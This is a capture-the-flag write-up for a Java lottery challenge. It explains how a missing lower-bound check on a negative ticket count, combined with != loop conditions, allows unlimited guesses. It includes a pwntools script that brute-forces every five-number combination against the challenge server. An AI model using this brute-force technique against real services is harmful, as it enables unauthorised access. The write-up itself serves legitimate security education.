# Five Fives
writeup by [5225225](https://www.5snb.club) for [BLÅHAJ](https://blahaj.awoo.systems)
**Pwn/Rev****476 points****46 solves**
> java SecureRandom is supposed to be, well, secure, right?
provided file: <Main.java>
## writeup
At first glance, this challenge looks like a RNG prediction challenge, where you need to recreatethe seed from the output, and then guess future output.
```java//You'll never find my seed now!int sleep = ThreadLocalRandom.current().nextInt(10000);Thread.sleep(sleep);long seed = System.currentTimeMillis();ByteBuffer bb = ByteBuffer.allocate(Long.BYTES);bb.putLong(seed);SecureRandom r = new SecureRandom(bb.array());Thread.sleep(10000 - sleep);```
The code does manually seed a `SecureRandom` with a predictable input, namely the`System.currentTimeMillis`. There is a 10 second window where the seed could be generated, sothere's 10 thousand possibilities for the seed. Add 10 or 20 thousand more to account for clockvariance between us and the server, and this is a very doable attack.
However, it turns out SecureRandom is only insecure with a given seed on windows. On otherplatforms, it just reads from `/dev/urandom`, which is secure. Trying the attack fails, even aftera few attempts.
While looking at the code, you notice the odd writing of the `for` loops
```javafor (int i = 0; i != 5; i++) {    System.out.print((r.nextInt(5) + 1) + " ");}```
They use `!=` instead of the more robust `<` consistently.
```javaSystem.out.println("You have $20, and each ticket is $1. How many tickets would you like to buy? ");int numTries = Integer.parseInt(in.nextLine());if (numTries > 20) {    System.out.println("Sorry, you don't have enough money to buy all of those. :(");    System.exit(0);}```
Here, they check for going *over* 20, but not under.
```javafor (int i = 0; i != numTries; i++) {    System.out.println("Ticket number " + (i + 1) + "! Enter five numbers, separated by spaces:");    String[] ticket = in.nextLine().split(" ");
    boolean winner = true;    for (int b = 0; b != 5; b++) {        if (nums[b] != Integer.parseInt(ticket[b])) {            winner = false;            break;        }    }
    if (!winner) {        System.out.println("Your ticket did not win. Try again.");    } else {        System.out.println("Congratulations, you win the flag lottery!");        outputFlag();    }}```
Entering a `numTries` of -50000 will let you simply do a brute force attack against everypossibility, since -50000 is indeed *not* equal to 0, and you will be incrementing for a long timeuntil 0 reaches -50000.
```pythonimport timeimport itertoolsfrom pwn import *
r = remote("challenge.rgbsec.xyz", 7425)
r.readuntil("How many tickets would you like to buy?")r.clean()
r.send(b"-50000\n")
ra = range(1, 6)print(r.clean())for i in itertools.product(range(1, 6), repeat=5):    r.send(f"{i[0]} {i[1]} {i[2]} {i[3]} {i[4]}\n".encode("UTF-8"))    time.sleep(0.01)    print(r.clean())```
I'm dumping the output of `r.clean()` as I don't know what format the flag will take, so I simplydump this to a file and then grep through it for `rgbCTF`.